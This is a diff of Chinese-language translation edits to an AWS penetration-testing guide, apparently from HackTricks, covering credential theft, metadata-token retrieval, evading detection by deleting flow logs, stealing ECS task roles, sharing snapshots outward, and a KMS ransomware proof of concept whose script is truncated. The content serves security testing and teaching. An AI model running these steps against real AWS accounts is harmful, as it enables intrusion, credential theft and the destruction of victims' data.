以下工具对于查找 GitHub Action 工作流甚至找到易受攻击的工作流非常有用:
|
||||
|
||||
- [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
|
||||
- [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
|
||||
|
||||
@@ -4,9 +4,9 @@
|
||||
|
||||
## 基本信息
|
||||
|
||||
**在开始对** AWS **环境进行渗透测试之前,您需要了解一些** 基本知识 **,以帮助您理解需要做什么、如何查找错误配置以及如何利用它们。**
|
||||
**在开始对** AWS **环境进行渗透测试之前,您需要了解一些关于 AWS 工作原理的基本知识,以帮助您理解需要做什么、如何查找错误配置以及如何利用它们。**
|
||||
|
||||
组织层级、IAM 和其他基本概念在以下内容中进行了说明:
|
||||
组织层级、IAM 和其他基本概念等概念在以下内容中进行了说明:
|
||||
|
||||
{{#ref}}
|
||||
aws-basic-information/
|
||||
@@ -29,7 +29,7 @@ aws-basic-information/
|
||||
|
||||
## AWS 渗透测试/红队方法论
|
||||
|
||||
为了审计 AWS 环境,了解以下内容非常重要:哪些 **服务正在使用**,什么 **被暴露**,谁有 **访问权限**,以及内部 AWS 服务与 **外部服务** 如何连接。
|
||||
为了审计 AWS 环境,了解以下内容非常重要:哪些 **服务正在使用**,什么 **被暴露**,谁对什么 **有访问权限**,以及内部 AWS 服务与 **外部服务** 是如何连接的。
|
||||
|
||||
从红队的角度来看,**攻陷 AWS 环境的第一步**是设法获取一些 **凭证**。以下是一些获取凭证的想法:
|
||||
|
||||
@@ -37,13 +37,13 @@ aws-basic-information/
|
||||
- **社交** 工程
|
||||
- **密码** 重用(密码泄露)
|
||||
- AWS 托管应用程序中的漏洞
|
||||
- [**服务器端请求伪造**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) 访问元数据端点
|
||||
- [**服务器端请求伪造**](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html) 访问元数据端点
|
||||
- **本地文件读取**
|
||||
- `/home/USERNAME/.aws/credentials`
|
||||
- `C:\Users\USERNAME\.aws\credentials`
|
||||
- 第三方 **被攻破**
|
||||
- **内部** 员工
|
||||
- [**Cognito** ](aws-services/aws-cognito-enum/#cognito)凭证
|
||||
- [**Cognito** ](aws-services/aws-cognito-enum/index.html#cognito)凭证
|
||||
|
||||
或者通过 **攻陷一个未认证的服务**:
|
||||
|
||||
@@ -67,7 +67,7 @@ aws-permissions-for-a-pentest.md
|
||||
如果您在 AWS 内部的机器上发现了 SSRF,请查看此页面以获取技巧:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
{{#endref}}
|
||||
|
||||
### Whoami
|
||||
@@ -89,20 +89,20 @@ TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metad
|
||||
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/dynamic/instance-identity/document
|
||||
```
|
||||
> [!CAUTION]
|
||||
> 注意,公司可能会使用 **canary tokens** 来识别 **令牌被盗用和使用** 的情况。在使用令牌之前,建议检查它是否为 canary token。\
|
||||
> 注意,公司可能会使用 **canary tokens** 来识别 **令牌被盗用和使用** 的情况。在使用令牌之前,建议检查该令牌是否为 canary token。\
|
||||
> 更多信息请 [**查看此页面**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass)。
|
||||
|
||||
### 组织枚举
|
||||
### Org Enumeration
|
||||
|
||||
{{#ref}}
|
||||
aws-services/aws-organizations-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### IAM 枚举
|
||||
### IAM Enumeration
|
||||
|
||||
如果您拥有足够的权限,**检查 AWS 账户内每个实体的权限** 将帮助您了解您和其他身份可以做什么,以及如何 **提升权限**。
|
||||
|
||||
如果您没有足够的权限来枚举 IAM,您可以 **通过暴力破解来窃取它们** 以找出它们。\
|
||||
如果您没有足够的权限来枚举 IAM,您可以 **通过暴力破解来获取它们**。\
|
||||
请查看 **如何进行枚举和暴力破解**:
|
||||
|
||||
{{#ref}}
|
||||
@@ -110,10 +110,10 @@ aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> 现在您 **对您的凭据有了一些信息**(如果您是红队,希望您 **没有被检测到**)。是时候找出环境中正在使用哪些服务。\
|
||||
> 现在您 **已经获得了一些关于您凭据的信息**(如果您是红队,希望您 **没有被检测到**)。是时候找出环境中正在使用哪些服务了。\
|
||||
> 在接下来的部分中,您可以查看一些 **枚举常见服务** 的方法。
|
||||
|
||||
## 服务枚举、后期利用与持久性
|
||||
## Services Enumeration, Post-Exploitation & Persistence
|
||||
|
||||
AWS 拥有惊人的服务数量,在以下页面中,您将找到 **基本信息、枚举** 备忘单\*\*,\*\* 如何 **避免检测**,获取 **持久性**,以及其他关于其中一些服务的 **后期利用** 技巧:
|
||||
|
||||
@@ -121,7 +121,7 @@ AWS 拥有惊人的服务数量,在以下页面中,您将找到 **基本信
|
||||
aws-services/
|
||||
{{#endref}}
|
||||
|
||||
请注意,您 **不** 需要 **手动** 执行所有工作,下面的帖子中您可以找到关于 [**自动工具**](./#automated-tools) 的 **部分**。
|
||||
请注意,您 **不** 需要 **手动** 执行所有工作,下面的帖子中您可以找到关于 [**自动工具**](#automated-tools) 的 **部分**。
|
||||
|
||||
此外,在此阶段,您可能会发现 **更多暴露给未认证用户的服务**,您可能能够利用它们:
|
||||
|
||||
@@ -129,7 +129,7 @@ aws-services/
|
||||
aws-unauthenticated-enum-access/
|
||||
{{#endref}}
|
||||
|
||||
## 权限提升
|
||||
## Privilege Escalation
|
||||
|
||||
如果您可以 **检查至少自己的权限** 在不同资源上,您可以 **检查是否能够获得更多权限**。您应该至少关注以下权限:
|
||||
|
||||
@@ -137,7 +137,7 @@ aws-unauthenticated-enum-access/
|
||||
aws-privilege-escalation/
|
||||
{{#endref}}
|
||||
|
||||
## 公开暴露的服务
|
||||
## Publicly Exposed Services
|
||||
|
||||
在枚举 AWS 服务时,您可能发现其中一些 **向互联网暴露元素**(虚拟机/容器端口、数据库或队列服务、快照或存储桶...)。\
|
||||
作为渗透测试者/红队成员,您应该始终检查是否可以在它们上找到 **敏感信息/漏洞**,因为它们可能为您提供 **进一步访问 AWS 账户** 的机会。
|
||||
@@ -145,29 +145,29 @@ aws-privilege-escalation/
|
||||
在本书中,您应该找到关于如何查找 **暴露的 AWS 服务以及如何检查它们** 的 **信息**。关于如何查找 **暴露网络服务中的漏洞**,我建议您 **搜索** 特定的 **服务**:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/
|
||||
https://book.hacktricks.wiki/
|
||||
{{#endref}}
|
||||
|
||||
## 破坏组织
|
||||
## Compromising the Organization
|
||||
|
||||
### 从根/管理账户
|
||||
### From the root/management account
|
||||
|
||||
当管理账户在组织中创建新账户时,会在新账户中创建一个 **新角色**,默认命名为 **`OrganizationAccountAccessRole`**,并给予 **管理账户** 访问新账户的 **AdministratorAccess** 策略。
|
||||
当管理账户在组织中创建新账户时,会在新账户中创建一个 **新角色**,默认命名为 **`OrganizationAccountAccessRole`**,并给予 **AdministratorAccess** 策略以便管理账户访问新账户。
|
||||
|
||||
<figure><img src="../../images/image (171).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
因此,为了以管理员身份访问子账户,您需要:
|
||||
因此,要以管理员身份访问子账户,您需要:
|
||||
|
||||
- **破坏** **管理** 账户并找到 **子账户的 ID** 和 **角色的名称**(默认是 OrganizationAccountAccessRole),允许管理账户以管理员身份访问。
|
||||
- **攻陷** **管理** 账户并找到 **子账户的 ID** 和 **角色的名称**(默认是 OrganizationAccountAccessRole),以允许管理账户以管理员身份访问。
|
||||
- 要查找子账户,请转到 AWS 控制台中的组织部分或运行 `aws organizations list-accounts`
|
||||
- 您无法直接找到角色的名称,因此请检查所有自定义 IAM 策略,并搜索任何允许 **`sts:AssumeRole` 在之前发现的子账户上** 的策略。
|
||||
- **破坏** 管理账户中的 **主体**,并具有 **`sts:AssumeRole` 权限** 在子账户的角色上(即使该账户允许管理账户中的任何人进行冒充,由于这是外部账户,特定的 `sts:AssumeRole` 权限是必要的)。
|
||||
- 您无法直接找到角色的名称,因此请检查所有自定义 IAM 策略,并搜索任何允许 **`sts:AssumeRole` 的策略,针对之前发现的子账户**。
|
||||
- **攻陷** 管理账户中的 **主体**,并具有 **`sts:AssumeRole` 权限,针对子账户中的角色**(即使该账户允许管理账户中的任何人进行冒充,由于这是外部账户,特定的 `sts:AssumeRole` 权限是必要的)。
|
||||
|
||||
## 自动化工具
|
||||
## Automated Tools
|
||||
|
||||
### 侦察
|
||||
### Recon
|
||||
|
||||
- [**aws-recon**](https://github.com/darkbitio/aws-recon): 一个多线程的 AWS 安全专注的 **清单收集工具**,用 Ruby 编写。
|
||||
- [**aws-recon**](https://github.com/darkbitio/aws-recon): 一个多线程的 AWS 安全专注的 **库存收集工具**,用 Ruby 编写。
|
||||
```bash
|
||||
# Install
|
||||
gem install aws_recon
|
||||
@@ -178,8 +178,8 @@ AWS_PROFILE=<profile> aws_recon \
|
||||
--regions global,us-east-1,us-east-2 \
|
||||
--verbose
|
||||
```
|
||||
- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist 是一个 **多云工具,用于从云提供商获取资产**(主机名、IP 地址)。
|
||||
- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper 帮助您分析您的 Amazon Web Services (AWS) 环境。它现在包含更多功能,包括安全问题的审计。
|
||||
- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist 是一个 **多云工具,用于获取资产**(主机名,IP 地址)来自云服务提供商。
|
||||
- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper 帮助您分析您的亚马逊网络服务(AWS)环境。它现在包含更多功能,包括安全问题的审计。
|
||||
```bash
|
||||
# Installation steps in github
|
||||
# Create a config.json file with the aws info, like:
|
||||
@@ -233,15 +233,15 @@ pip install cartography
|
||||
# Get AWS info
|
||||
AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-prompt --neo4j-user neo4j
|
||||
```
|
||||
- [**starbase**](https://github.com/JupiterOne/starbase): Starbase 收集来自服务和系统的资产和关系,包括云基础设施、SaaS 应用程序、安全控制等,呈现为一个直观的图形视图,支持 Neo4j 数据库。
|
||||
- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (使用 python2) 这是一个工具,尝试 **发现所有** [**AWS 资源**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) 在一个账户中创建的资源。
|
||||
- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): 这是一个工具,用于 **获取与 AWS 账户关联的所有公共 IP 地址**(包括 IPv4/IPv6)。
|
||||
- [**starbase**](https://github.com/JupiterOne/starbase): Starbase 收集来自服务和系统的资产和关系,包括云基础设施、SaaS 应用程序、安全控制等,形成一个直观的图形视图,支持 Neo4j 数据库。
|
||||
- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (使用 python2) 这是一个尝试 **发现所有** [**AWS 资源**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) 的工具,这些资源是在一个账户中创建的。
|
||||
- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): 这是一个 **获取所有公共 IP 地址**(包括 IPv4/IPv6)与 AWS 账户关联的工具。
|
||||
|
||||
### Privesc & Exploiting
|
||||
|
||||
- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** 发现扫描的 AWS 环境中最特权的用户,包括 AWS Shadow Admins。它使用 powershell。您可以在 [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1) 的 **`Check-PrivilegedPolicy`** 函数中找到 **特权策略的定义**。
|
||||
- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu 是一个开源的 **AWS 利用框架**,旨在针对云环境进行攻击性安全测试。它可以 **枚举**、查找 **错误配置** 并 **利用** 它们。您可以在 **`user_escalation_methods`** 字典中找到 [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) 中 **特权权限的定义**。
|
||||
- 请注意,pacu **仅检查您自己的 privescs 路径**(而不是账户范围内的)。
|
||||
- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** 发现扫描的 AWS 环境中最特权的用户,包括 AWS Shadow Admins。它使用 powershell。您可以在 [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1) 中的函数 **`Check-PrivilegedPolicy`** 找到 **特权策略的定义**。
|
||||
- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu 是一个开源的 **AWS 利用框架**,旨在针对云环境进行攻击性安全测试。它可以 **枚举**、查找 **错误配置** 并 **利用** 它们。您可以在 **`user_escalation_methods`** 字典中找到 [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) 中的 **特权权限的定义**。
|
||||
- 请注意,pacu **仅检查您自己的 privescs 路径**(而不是账户范围内)。
|
||||
```bash
|
||||
# Install
|
||||
## Feel free to use venvs
|
||||
@@ -255,7 +255,7 @@ pacu
|
||||
> exec iam__enum_permissions # Get permissions
|
||||
> exec iam__privesc_scan # List privileged permissions
|
||||
```
|
||||
- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) 是一个脚本和库,用于识别 AWS 账户或 AWS 组织中 AWS 身份和访问管理 (IAM) 配置的风险。它将账户中的不同 IAM 用户和角色建模为有向图,从而能够检查 **权限提升** 和攻击者可能采取的获取 AWS 中资源或操作的替代路径。您可以在 [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing) 中检查用于查找 privesc 路径的 **权限**,文件名以 `_edges.py` 结尾。
|
||||
- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) 是一个脚本和库,用于识别 AWS 账户或 AWS 组织中 AWS 身份和访问管理 (IAM) 配置的风险。它将账户中的不同 IAM 用户和角色建模为有向图,从而能够检查 **权限提升** 和攻击者可能采取的获取 AWS 中资源或操作的替代路径。您可以在 [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing) 中检查以 `_edges.py` 结尾的文件名中使用的 **权限以查找 privesc** 路径。
|
||||
```bash
|
||||
# Install
|
||||
pip install principalmapper
|
||||
@@ -278,7 +278,7 @@ pmapper --profile dev orgs create
|
||||
pmapper --profile dev orgs display
|
||||
```
|
||||
- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining 是一个 AWS IAM 安全评估工具,识别最小权限的违规行为并生成风险优先级的 HTML 报告。\
|
||||
它将向您展示潜在的 **过度权限** 客户、内联和 AWS **策略** 以及哪些 **主体可以访问它们**。 (它不仅检查权限提升,还检查其他有趣的权限,建议使用)。
|
||||
它将向您显示潜在的 **过度权限** 客户、内联和 AWS **策略** 以及哪些 **主体可以访问它们**。 (它不仅检查权限提升,还检查其他有趣的权限,建议使用)。
|
||||
```bash
|
||||
# Install
|
||||
pip install cloudsplaining
|
||||
@@ -314,7 +314,7 @@ prowler -v
|
||||
prowler <provider>
|
||||
prowler aws --profile custom-profile [-M csv json json-asff html]
|
||||
```
|
||||
- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox 帮助您在不熟悉的云环境中获得情境意识。它是一个开源命令行工具,旨在帮助渗透测试人员和其他进攻性安全专业人员在云基础设施中找到可利用的攻击路径。
|
||||
- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox 帮助您在不熟悉的云环境中获得情境意识。它是一个开源命令行工具,旨在帮助渗透测试人员和其他攻击性安全专业人员在云基础设施中找到可利用的攻击路径。
|
||||
```bash
|
||||
cloudfox aws --profile [profile-name] all-checks
|
||||
```
|
||||
@@ -335,8 +335,8 @@ scout aws -p dev
|
||||
### 持续审计
|
||||
|
||||
- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian 是一个用于管理公共云账户和资源的规则引擎。它允许用户 **定义政策以启用良好管理的云基础设施**,既安全又成本优化。它将组织中许多临时脚本整合为一个轻量级和灵活的工具,具有统一的指标和报告。
|
||||
- [**pacbot**](https://github.com/tmobile/pacbot)**: 政策即代码机器人 (PacBot)** 是一个用于 **持续合规监控、合规报告和云安全自动化**的平台。在 PacBot 中,安全和合规政策以代码形式实现。PacBot 发现的所有资源都根据这些政策进行评估,以衡量政策符合性。PacBot **自动修复** 框架提供了通过采取预定义行动自动响应政策违规的能力。
|
||||
- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert 是一个无服务器的 **实时** 数据分析框架,使您能够 **摄取、分析和警报** 来自任何环境的数据,**使用您定义的数据源和警报逻辑**。计算机安全团队使用 StreamAlert 每天扫描数TB的日志数据以进行事件检测和响应。
|
||||
- [**pacbot**](https://github.com/tmobile/pacbot)**: 代码政策机器人 (PacBot)** 是一个用于 **持续合规监控、合规报告和云安全自动化** 的平台。在 PacBot 中,安全和合规政策以代码形式实现。PacBot 发现的所有资源都根据这些政策进行评估,以衡量政策符合性。PacBot **自动修复** 框架提供了通过采取预定义措施自动响应政策违规的能力。
|
||||
- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert 是一个无服务器的 **实时** 数据分析框架,使您能够 **摄取、分析和警报** 来自任何环境的数据,**使用您定义的数据源和警报逻辑**。计算机安全团队使用 StreamAlert 每天扫描数 TB 的日志数据以进行事件检测和响应。
|
||||
|
||||
## DEBUG: 捕获 AWS cli 请求
|
||||
```bash
|
||||
|
||||
@@ -7,7 +7,7 @@
|
||||
有关 SAML 的信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/saml-attacks
|
||||
https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
|
||||
{{#endref}}
|
||||
|
||||
为了通过 SAML 配置 **身份联邦**,您只需提供一个 **名称** 和包含所有 SAML 配置的 **元数据 XML**(**端点**,**带有公钥的证书**)
|
||||
@@ -108,9 +108,9 @@ eksctl utils associate-iam-oidc-provider --cluster Testing --approve
|
||||
]
|
||||
}
|
||||
```
|
||||
该策略正确地指示**只有**具有**id** `20C159CDF6F2349B68846BEC03BE031B`的**EKS集群**可以假设该角色。然而,它没有指明哪个服务账户可以假设它,这意味着**任何具有Web身份令牌的服务账户**都将**能够假设**该角色。
|
||||
该策略正确地指示**只有**具有**id** `20C159CDF6F2349B68846BEC03BE031B`的**EKS集群**可以假设该角色。然而,它并没有指明哪个服务账户可以假设它,这意味着**任何具有Web身份令牌的服务账户**都将**能够假设**该角色。
|
||||
|
||||
为了指定**哪个服务账户应该能够假设该角色,**需要指定一个**条件**,其中**指定服务账户名称,**例如:
|
||||
为了指定**哪个服务账户应该能够假设该角色,**需要指定一个**条件**,其中**指定服务账户名称**,例如:
|
||||
```bash
|
||||
"oidc.eks.region-code.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:sub": "system:serviceaccount:default:my-service-account",
|
||||
```
|
||||
|
||||
@@ -81,7 +81,7 @@ aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --por
|
||||
```
|
||||
### Privesc to ECS
|
||||
|
||||
可以运行一个 EC2 实例并将其注册为用于运行 ECS 实例,然后窃取 ECS 实例的数据。
|
||||
可以运行一个 EC2 实例并注册它以用于运行 ECS 实例,然后窃取 ECS 实例的数据。
|
||||
|
||||
对于 [**更多信息请查看此处**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs)。
|
||||
|
||||
@@ -104,13 +104,13 @@ aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
|
||||
```shell
|
||||
aws ssm start-session --target "$INSTANCE_ID"
|
||||
```
|
||||
3. 使用 [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment) 脚本获取 Bastion EC2 AWS 临时凭证
|
||||
4. 将凭证转移到您自己的机器,存储在 `$HOME/.aws/credentials` 文件中,作为 `[bastion-ec2]` 配置
|
||||
5. 作为 Bastion EC2 登录 EKS:
|
||||
3. 使用 [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) 脚本获取 Bastion EC2 AWS 临时凭证
|
||||
4. 将凭证转移到您自己的机器的 `$HOME/.aws/credentials` 文件中,作为 `[bastion-ec2]` 配置
|
||||
5. 以 Bastion EC2 身份登录 EKS:
|
||||
```shell
|
||||
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
|
||||
```
|
||||
6. 更新 `$HOME/.kube/config` 文件中的 `server` 字段,指向 `https://localhost`
|
||||
6. 更新 `$HOME/.kube/config` 文件中的 `server` 字段,指向 `https://localhost`
|
||||
7. 创建一个 SSM 隧道,如下所示:
|
||||
```shell
|
||||
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
|
||||
@@ -129,7 +129,7 @@ aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{
|
||||
```
|
||||
### 在公共和私有 AMI 中搜索敏感信息
|
||||
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel 是一个旨在 **在公共或私有 Amazon Machine Images (AMIs) 中搜索敏感信息** 的工具。它自动化了从目标 AMI 启动实例、挂载其卷以及扫描潜在秘密或敏感数据的过程。
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel 是一个旨在 **搜索公共或私有 Amazon Machine Images (AMIs) 中的敏感信息** 的工具。它自动化了从目标 AMI 启动实例、挂载其卷以及扫描潜在秘密或敏感数据的过程。
|
||||
|
||||
### 共享 EBS 快照
|
||||
```bash
|
||||
@@ -139,7 +139,7 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
|
||||
|
||||
一个类似于在 S3 后渗透笔记中演示的勒索软件演示的概念验证。KMS 应该被重命名为 RMS(勒索软件管理服务),因为使用它加密各种 AWS 服务是如此简单。
|
||||
|
||||
首先,从一个“攻击者”的 AWS 账户中,在 KMS 中创建一个客户管理密钥。在这个例子中,我们将让 AWS 为我管理密钥数据,但在现实场景中,恶意行为者会将密钥数据保留在 AWS 控制之外。更改密钥策略以允许任何 AWS 账户主体使用该密钥。对于这个密钥策略,账户的名称是 'AttackSim',允许所有访问的策略规则称为 'Outside Encryption'。
|
||||
首先,从一个“攻击者”的 AWS 账户中,在 KMS 中创建一个客户管理密钥。在这个例子中,我们将让 AWS 为我管理密钥数据,但在现实场景中,恶意行为者会将密钥数据保留在 AWS 控制之外。更改密钥策略以允许任何 AWS 账户主体使用该密钥。对于这个密钥策略,账户名称为 'AttackSim',允许所有访问的策略规则称为 'Outside Encryption'。
|
||||
```
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -324,15 +324,15 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
|
||||
]
|
||||
}
|
||||
```
|
||||
稍等片刻,让新设置的密钥策略传播。然后返回到“受害者”账户,尝试附加一个新加密的EBS卷。你会发现你可以附加该卷。
|
||||
请稍等,直到新设置的密钥策略传播完成。然后返回到“受害者”账户,尝试附加一个新加密的EBS卷。你会发现可以附加该卷。
|
||||
|
||||
 
|
||||
|
||||
但是当你尝试实际启动带有加密EBS卷的EC2实例时,它将失败,并且会从“待处理”状态永远返回到“已停止”状态,因为附加的EBS卷无法使用密钥解密,因为密钥策略不再允许。
|
||||
但是,当你尝试使用加密的EBS卷实际启动EC2实例时,它将失败,并且会从“待处理”状态永远返回到“已停止”状态,因为附加的EBS卷无法使用密钥解密,因为密钥策略不再允许。
|
||||
|
||||
 
|
||||
|
||||
这是使用的python脚本。它获取“受害者”账户的AWS凭证和一个公开可用的AWS ARN值,用于加密的密钥。该脚本将对目标AWS账户中所有附加到所有EC2实例的可用EBS卷进行加密副本,然后停止每个EC2实例,分离原始EBS卷,删除它们,最后删除在此过程中使用的所有快照。这将只在目标“受害者”账户中留下加密的EBS卷。仅在测试环境中使用此脚本,它是破坏性的,并将删除所有原始EBS卷。你可以使用所用的KMS密钥恢复它们,并通过快照将它们恢复到原始状态,但我只是想让你意识到,这最终是一个勒索软件的概念验证。
|
||||
这是使用的python脚本。它获取“受害者”账户的AWS凭证和一个公开可用的AWS ARN值,用于加密的密钥。该脚本将对目标AWS账户中所有附加到所有EC2实例的可用EBS卷进行加密副本,然后停止每个EC2实例,分离原始EBS卷,删除它们,最后删除在此过程中使用的所有快照。这将只在目标“受害者”账户中留下加密的EBS卷。仅在测试环境中使用此脚本,它是破坏性的,并将删除所有原始EBS卷。你可以使用所用的KMS密钥恢复它们,并通过快照将它们恢复到原始状态,但我只是想让你意识到,这在最终是一个勒索软件的概念验证。
|
||||
```
|
||||
import boto3
|
||||
import argparse
|
||||
|
||||
@@ -49,7 +49,7 @@ aws ecr get-download-url-for-layer \
|
||||
下载图像后,您应该**检查它们是否包含敏感信息**:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics
|
||||
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
|
||||
{{#endref}}
|
||||
|
||||
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# AWS - ECS 后期利用
|
||||
# AWS - ECS 后渗透
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -13,10 +13,10 @@
|
||||
### 主机 IAM 角色
|
||||
|
||||
在 ECS 中,**IAM 角色可以分配给在容器内运行的任务**。**如果**任务在 **EC2** 实例内运行,**EC2 实例**将附加 **另一个 IAM** 角色。\
|
||||
这意味着如果你成功 **攻陷** 一个 ECS 实例,你可能会 **获取与 ECR 和 EC2 实例相关联的 IAM 角色**。有关如何获取这些凭据的更多信息,请查看:
|
||||
这意味着如果你成功 **攻陷** 一个 ECS 实例,你可能会 **获得与 ECR 和 EC2 实例相关联的 IAM 角色**。有关如何获取这些凭据的更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
{{#endref}}
|
||||
|
||||
> [!CAUTION]
|
||||
@@ -24,11 +24,11 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou
|
||||
|
||||
### 提权到节点以窃取其他容器的凭据和秘密
|
||||
|
||||
此外,EC2 使用 docker 来运行 ECs 任务,因此如果你能够逃逸到节点或 **访问 docker 套接字**,你可以 **检查** 运行的 **其他容器**,甚至 **进入它们** 并 **窃取它们附加的 IAM 角色**。
|
||||
此外,EC2 使用 Docker 来运行 ECs 任务,因此如果你能够逃逸到节点或 **访问 Docker 套接字**,你可以 **检查** 其他 **容器** 的运行情况,甚至 **进入它们** 并 **窃取** 附加的 IAM 角色。
|
||||
|
||||
#### 在当前主机上运行容器
|
||||
|
||||
此外,**EC2 实例角色**通常会有足够的 **权限** 来 **更新作为集群内节点使用的 EC2 实例的容器实例状态**。攻击者可以将 **实例的状态修改为 DRAINING**,然后 ECS 将 **从中移除所有任务**,而作为 **REPLICA** 运行的任务将 **在不同的实例中运行,** 可能在 **攻击者的实例内**,这样他就可以 **窃取它们的 IAM 角色** 和潜在的敏感信息。
|
||||
此外,**EC2 实例角色**通常会有足够的 **权限** 来 **更新集群中作为节点使用的 EC2 实例的容器实例状态**。攻击者可以将 **实例的状态修改为 DRAINING**,然后 ECS 将 **从中移除所有任务**,而作为 **REPLICA** 运行的任务将 **在不同的实例中运行,** 可能在 **攻击者的实例** 内,这样他就可以 **窃取它们的 IAM 角色** 和潜在的敏感信息。
|
||||
```bash
|
||||
aws ecs update-container-instances-state \
|
||||
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## lambda
|
||||
|
||||
有关 lambda 的更多信息:
|
||||
有关lambda的更多信息:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-lambda-enum.md
|
||||
@@ -12,11 +12,11 @@
|
||||
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`)
|
||||
|
